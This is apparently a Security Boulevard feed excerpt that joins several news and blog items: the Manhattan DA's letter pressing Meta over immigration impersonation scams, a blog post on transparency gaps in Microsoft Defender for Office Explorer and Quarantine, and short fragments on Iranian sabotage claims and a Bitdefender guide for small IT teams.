Cyber conflict operates on a separate timeline from conventional warfare.</p><p style="font-weight: 400;">A key point here: the lack of verifiable evidence highlights the challenge of separating technical reality from information warfare. In a conflict where cyber capabilities are both real tools and instruments of propaganda, claims of sabotage can influence opinions even without confirmation.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/iran-alleges-us-networking-gear-was-deliberately-disabled/" data-a2a-title="Iran Alleges US Networking Gear Was Deliberately Disabled"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Firan-alleges-us-networking-gear-was-deliberately-disabled%2F&amp;linkname=Iran%20Alleges%20US%20Networking%20Gear%20Was%20Deliberately%20Disabled" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Firan-alleges-us-networking-gear-was-deliberately-disabled%2F&amp;linkname=Iran%20Alleges%20US%20Networking%20Gear%20Was%20Deliberately%20Disabled" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Firan-alleges-us-networking-gear-was-deliberately-disabled%2F&amp;linkname=Iran%20Alleges%20US%20Networking%20Gear%20Was%20Deliberately%20Disabled" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Firan-alleges-us-networking-gear-was-deliberately-disabled%2F&amp;linkname=Iran%20Alleges%20US%20Networking%20Gear%20Was%20Deliberately%20Disabled" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Firan-alleges-us-networking-gear-was-deliberately-disabled%2F&amp;linkname=Iran%20Alleges%20US%20Networking%20Gear%20Was%20Deliberately%20Disabled" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<p><span data-contrast="none">Manhattan’s hard-nosed District Attorney Alvin Bragg, who secured 34 felony convictions against President Trump, is taking on Meta to hold the social media company accountable for immigration scams growing like wildfire on its platforms.</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="none">In a </span><a href="https://manhattanda.org/wp-content/uploads/2026/04/Letter-to-Meta-4.9.26.pdf" target="_blank" rel="noopener"><span data-contrast="none">recent letter</span></a><span data-contrast="none">, Bragg urged Meta CEO Mark Zuckerberg to act to stop the scams, which he said were difficult to prosecute, and requested a meeting with the company’s representatives.</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="none">Bragg noted that imposter accounts were using Meta’s platforms like Facebook and WhatsApp to “</span><span data-contrast="auto">falsely pose as pro bono legal services organizations, such as Catholic Charities” and then extract money for assistance from the victims. The funds typically make their way overseas, hampering prosecution and recovery.</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="none">“These scams are especially dangerous because they target a vulnerable population who are in situations of emotional distress,” says Miks Aalto, cofounder and CEO at Hoxhunt. Impersonating trusted legal organizations or charities lends a sense of urgency that prompts victims to respond more quickly.</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="none">The speed of the cycle makes pinning attackers and punishing them more difficult. “Even when fake accounts are reported and removed, attackers can create new ones very quickly using the same tactics but with just enough adaptations to fool the filters,” says Aalto, noting that AI is accelerating the “endless game of whack-a-mole.”</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">While the Manhattan DA’s office “investigates and prosecutes these crimes when able, your company can play an important role in protecting users from fraud and theft,” Bragg wrote, pointing out that the imposter accounts stand in violation of Meta’s terms of service that prohibit “accounts that provide false information or engage in unlawful or misleading conduct.”</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">But Meta doesn’t seem to be following its own terms for removing those accounts. “We have spoken with at least two institutional leaders of pro bono legal services organizations whose requests to remove false profiles were declined despite following this reporting protocol,” Bragg wrote. </span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="none">For Meta, protection seems to be a matter of priorities. The company “has built moderation that protects celebrities and abandons nonprofits, and scammers exploit that asymmetry as operational cover,” says Collin Hogue-Spears, senior director of solution management at Black Duck. </span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="none">He says that scammers “bought Facebook ads, cloned nonprofit logos, and migrated victims into WhatsApp where no moderation algorithm can follow.”</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="none">About one-third of all Catholic Charities agencies across the U.S. “have reported impersonation campaigns using their names and branding to extract payments from immigrants” but when “verified institutional leaders reported their own impersonators through Meta’s official process, Meta declined the removal requests.”</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="none">The reporting button, Hogue-Spears says, “exists to satisfy an audit… not to stop a scammer; it is a suggestion box.”</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="auto">If Meta is sincere about protecting its users as the company has claimed repeatedly, Bragg said it must “take necessary, proactive steps” to do so. </span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">To that end, Bragg asked Zuckerberg to:</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">1) Add a reporting option to your Law Enforcement Online Requests Portal, allowing agencies like our office to report imposter accounts engaged in criminal conduct directly to Meta. </span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">2) Prioritize addressing reports of imposter accounts where criminality is alleged and temporarily suspend those accounts while the investigation is conducted. </span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="auto">3) Ensure users claiming to represent organizations like legal services providers match the geographic locations of those organizations by strengthening verification tools and analyzing existing user data, such as IP address location.</span><span data-ccp-props='{"201341983":2,"335557856":16777215,"335559739":480,"335559740":487}'> </span></p><p><span data-contrast="none">Noting that the problem doesn’t belong solely to Meta but rather is a platform problem, Trey Ford, chief strategy and trust officer at Bugcrowd, says, “the DA’s letter should be a forcing function for the entire industry to build law enforcement escalation paths that match the severity of criminal activity, not just the volume of reports.”</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="none">What the DA is really describing, he says, “is an industry-wide gap — social platforms were architected for growth and connection, not for the kind of trust verification that criminal impersonation demands.”</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><p><span data-contrast="auto">Outreach to the communities affected is critical, too. </span><span data-contrast="none">“We all must understand that if someone contacts you offering legal help or financial assistance through social media or messaging apps, don’t rely on the message itself, even if it appears to come from a source you’ve spent your life trusting, like church services,” says Aalto. “Verification and critical thinking are essential. Reach out to the organization through official channels to confirm the offer of assistance is real.” Good advice, although that might be a tall order for immigrants spooked by aggressive actions taken by ICE in the last year and who may be hesitant to reach out.</span><span data-ccp-props='{"201341983":0,"335559739":0,"335559740":360}'> </span></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/manhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams/" data-a2a-title="Manhattan DA Bragg Pushes Meta to Put a Stop to Immigration Scams "><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmanhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams%2F&amp;linkname=Manhattan%20DA%20Bragg%20Pushes%20Meta%20to%20Put%20a%20Stop%20to%20Immigration%20Scams%C2%A0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmanhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams%2F&amp;linkname=Manhattan%20DA%20Bragg%20Pushes%20Meta%20to%20Put%20a%20Stop%20to%20Immigration%20Scams%C2%A0" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmanhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams%2F&amp;linkname=Manhattan%20DA%20Bragg%20Pushes%20Meta%20to%20Put%20a%20Stop%20to%20Immigration%20Scams%C2%A0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmanhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams%2F&amp;linkname=Manhattan%20DA%20Bragg%20Pushes%20Meta%20to%20Put%20a%20Stop%20to%20Immigration%20Scams%C2%A0" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmanhattan-da-bragg-pushes-meta-to-put-a-stop-to-immigration-scams%2F&amp;linkname=Manhattan%20DA%20Bragg%20Pushes%20Meta%20to%20Put%20a%20Stop%20to%20Immigration%20Scams%C2%A0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<p>The post <a href="https://ironscales.com/blog/two-mdo-field-reports-every-it-security-lead-should-read">Two MDO field reports every IT security lead should read</a> appeared first on <a href="https://ironscales.com/blog">Blog</a>.</p><p>Tyler Swinehart, Director of Global IT &amp; Security at IRONSCALES, has been publishing the kind of LinkedIn pieces I wish more practitioners would write. No vendor angle. No positioning. Just “here’s what I learned the hard way operating this thing in production, and here’s what nobody told me until it was too late.”</p><p>His last two posts are about Microsoft Defender for Office, specifically Explorer and Quarantine. If you operate MDO, you should read both. They’re under 10 minutes each, and they’ll save you hours the next time you’re deep in a phishing investigation wondering why your search results don’t add up.</p><p>I’ll resist the urge to recap them (Tyler explains his own work better than I will). But read both back to back and a pattern emerges. Native email security tooling has a transparency problem, and it shows up in the operational moments that vendor roadmaps never plan for.</p><h2>The Explorer post: search that “works” but doesn’t tell you what it’s doing</h2><p><img fetchpriority="high" decoding="async" src="https://ironscales.com/hs-fs/hubfs/Blog/2026/Microsoft%20Defender%20for%20Office%20Explorer.webp?width=360&amp;height=390&amp;name=Microsoft%20Defender%20for%20Office%20Explorer.webp" width="360" height="390" alt="Microsoft Defender for Office Explorer" style="height: auto; max-width: 100%; width: 360px; margin-left: 10px; margin-right: 0px; float: right;">Tyler’s first piece walks through MDO Explorer’s filtering limits. No regex. No OR statements. No “starts with” operator. Weird Unicode behavior that quietly drops matches. And a 30-day log retention cap that nobody mentions until someone asks you for 45-day-old logs and you have nothing to show. His workaround is KQL through Advanced Hunting Queries, which is the right answer if you’re willing to learn another query language.</p><p>Read the full post here: <a href="https://www.linkedin.com/pulse/microsoft-defender-office-explorer-stuff-nobody-tells-tyler-swinehart-vvrvc/">Microsoft Defender for Office Explorer (the stuff nobody tells you until it’s too late)</a></p><p>The strategic read is this. Explorer’s UI gives you a confidence interval Microsoft never actually promised. You search for a sender, get results, and assume you’ve seen everything that matches. You haven’t. Special characters might have dropped matches. The “contains” operator is doing fuzzy work you can’t see. The 30-day window is invisible until it bites you. The product is doing its job. It just isn’t telling you what its job actually is.</p><p>This pattern shows up across the native security category. Tools get built for the median use case and quietly fail the edge cases that matter most during an active investigation.</p><h2>The Quarantine post: a product that disagrees with you and won’t say why</h2><p><img decoding="async" src="https://ironscales.com/hs-fs/hubfs/Blog/2026/MDO%20Quarantine%20-%20the%20stuff%20nobody%20tells%20you.webp?width=410&amp;height=539&amp;name=MDO%20Quarantine%20-%20the%20stuff%20nobody%20tells%20you.webp" width="410" height="539" alt="MDO Quarantine - the stuff nobody tells you" style="height: auto; max-width: 100%; width: 410px; float: right; margin-left: 10px; margin-right: 0px;">Tyler’s second piece opens with a department head asking why a contract email never arrived. Quarantined as “High Confidence Phish.” No notification. No scoring breakdown. No indicator list. Just gone.</p><p>Read the full post here: <a href="https://www.linkedin.com/pulse/mdo-quarantine-stuff-nobody-tells-you-until-youre-policy-swinehart-lcfze/">MDO Quarantine (the stuff nobody tells you until you’re debugging a policy that quietly does nothing)</a></p><p>Then it gets worse. Microsoft hides the quarantine console entirely if you don’t have the right RBAC role (no grayed-out menu, no helpful “you need access” hint, just nothing). The submission workflow has two paths, neither well documented, neither carrying an SLA. Quarantined emails vanish after 30 days with no extension, no delegation, no archive. And the headline finding, which security admins should print and tape to their wall: preset security policies silently override your custom configurations with no warning, no conflict indicator, no UI signal that anything is being ignored.</p><p>You can spend an afternoon debugging quarantine behavior that isn’t doing what your custom policy says it’s doing, only to discover Microsoft picked a different policy and didn’t bother to mention it.</p><h2>The thread between both posts</h2><p>Both pieces describe products that work exactly as designed and fail their operators anyway. The detection logic is competent. The interface is usable. The features ship. What’s missing is the operational transparency that lets a security team trust the tool, debug it when it misbehaves, and explain its decisions to the business.</p><p>Most vendor evaluations underweight this dimension (mine included, in different ways). We benchmark catch rates, detection coverage, AI sophistication. We rarely benchmark whether a Tier 1 analyst can figure out why something happened, whether a custom policy is actually running, whether a search returned everything it should have, or whether last quarter’s logs are still available when legal asks for them.</p><p>Closing that gap means treating transparency as a feature in its own right, with its own roadmap, its own success metrics, and its own UX investment.</p><h2>What to do with this</h2><p>Two takeaways, depending on where you sit.</p><p>If you operate MDO: read both posts. Audit your preset policy stack against your custom configs (Tyler’s finding there alone could save you a week of confused troubleshooting). Get your KQL skills sharp enough to run real Advanced Hunting Queries when Explorer hits its limits. Forward your MDO logs somewhere with retention longer than 30 days before someone asks you for historical data.</p><p>If you evaluate email security tools: add operational transparency to your eval criteria. Ask vendors how analysts surface why a verdict was reached, how they validate that custom policies are actually applied, and how they expose log retention. The answers will tell you more than another detection benchmark will.</p><p>Tyler’s LinkedIn is <a href="https://www.linkedin.com/in/tyler-swinehart/">here</a> if you want to follow along. He’s writing more of these. They’re worth your time.</p><p><img loading="lazy" decoding="async" src="https://track.hubspot.com/__ptq.gif?a=20641927&amp;k=14&amp;r=https%3A%2F%2Fironscales.com%2Fblog%2Ftwo-mdo-field-reports-every-it-security-lead-should-read&amp;bu=https%253A%252F%252Fironscales.com%252Fblog&amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/two-mdo-field-reports-every-it-security-lead-should-read/" data-a2a-title="Two MDO field reports every IT security lead should read"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftwo-mdo-field-reports-every-it-security-lead-should-read%2F&amp;linkname=Two%20MDO%20field%20reports%20every%20IT%20security%20lead%20should%20read" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftwo-mdo-field-reports-every-it-security-lead-should-read%2F&amp;linkname=Two%20MDO%20field%20reports%20every%20IT%20security%20lead%20should%20read" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftwo-mdo-field-reports-every-it-security-lead-should-read%2F&amp;linkname=Two%20MDO%20field%20reports%20every%20IT%20security%20lead%20should%20read" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftwo-mdo-field-reports-every-it-security-lead-should-read%2F&amp;linkname=Two%20MDO%20field%20reports%20every%20IT%20security%20lead%20should%20read" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftwo-mdo-field-reports-every-it-security-lead-should-read%2F&amp;linkname=Two%20MDO%20field%20reports%20every%20IT%20security%20lead%20should%20read" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://ironscales.com/blog">Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Audian Paxson">Audian Paxson</a>. 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<p>The post <a href="https://businessinsights.bitdefender.com/where-lean-it-teams-start-cybersecurity">A Cybersecurity Lifeline for Lean IT Teams: Introducing C.R.E.W.</a> appeared first on <a href="https://businessinsights.bitdefender.com">Business Insights</a>.</p><div class="hs-featured-image-wrapper"> <a href="https://businessinsights.bitdefender.com/where-lean-it-teams-start-cybersecurity?hsLang=en-us" title="" class="hs-featured-image-link"> <img decoding="async" src="https://businessinsights.bitdefender.com/hubfs/crew-lifeline-lean-security-teams.png" alt="A Cybersecurity Lifeline for Lean IT Teams: Introducing C.R.E.W." class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"> </a> </div><h3>“Too small to target” is a dangerous cybersecurity myth, while “Where do I start?,” is a legitimate cyber defense question.</h3><p><span>Imagine leaving your office unlocked overnight—not because you don’t have anything valuable, but because you assume no one would bother breaking in.</span></p><p><img decoding="async" src="https://track-eu1.hubspot.com/__ptq.gif?a=341979&amp;k=14&amp;r=https%3A%2F%2Fbusinessinsights.bitdefender.com%2Fwhere-lean-it-teams-start-cybersecurity&amp;bu=https%253A%252F%252Fbusinessinsights.bitdefender.com&amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/a-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w/" data-a2a-title="A Cybersecurity Lifeline for Lean IT Teams: Introducing C.R.E.W."><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fa-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w%2F&amp;linkname=A%20Cybersecurity%20Lifeline%20for%20Lean%20IT%20Teams%3A%20Introducing%20C.R.E.W." title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fa-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w%2F&amp;linkname=A%20Cybersecurity%20Lifeline%20for%20Lean%20IT%20Teams%3A%20Introducing%20C.R.E.W." title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fa-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w%2F&amp;linkname=A%20Cybersecurity%20Lifeline%20for%20Lean%20IT%20Teams%3A%20Introducing%20C.R.E.W." title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fa-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w%2F&amp;linkname=A%20Cybersecurity%20Lifeline%20for%20Lean%20IT%20Teams%3A%20Introducing%20C.R.E.W." title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fa-cybersecurity-lifeline-for-lean-it-teams-introducing-c-r-e-w%2F&amp;linkname=A%20Cybersecurity%20Lifeline%20for%20Lean%20IT%20Teams%3A%20Introducing%20C.R.E.W." title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://businessinsights.bitdefender.com">Business Insights</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Riana Dewi">Riana Dewi</a>. Read the original post at: <a href="https://businessinsights.bitdefender.com/where-lean-it-teams-start-cybersecurity">https://businessinsights.bitdefender.com/where-lean-it-teams-start-cybersecurity</a> </p>